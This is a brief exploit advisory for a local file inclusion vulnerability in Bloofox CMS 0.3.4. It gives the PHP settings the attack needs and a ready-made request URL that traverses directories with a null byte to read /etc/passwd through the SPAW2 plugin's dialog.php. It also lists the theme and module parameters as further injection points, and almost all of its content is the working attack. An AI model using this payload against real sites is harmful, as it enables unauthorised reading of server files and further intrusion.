Bloofox CMS version 0.3.4 suffers from a local file inclusion vulnerability.
ec96bdd0d2f195001b14b57582416e8046fafc3c386ff4c637127bb8e4c78fc9
BloofoxCMS 0.3.4
http://www.bloofox.com/
magic_quotes_gpc = Off
register_globals = On
- File Inclusion -
http://site/bloofoxCMS_0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00
Also vulnerable:
dialog.php?theme=<lfi>
dialog.php?dialog=foo&module=<lfi>
- Seasons Greetings -
- http://nukeit.org -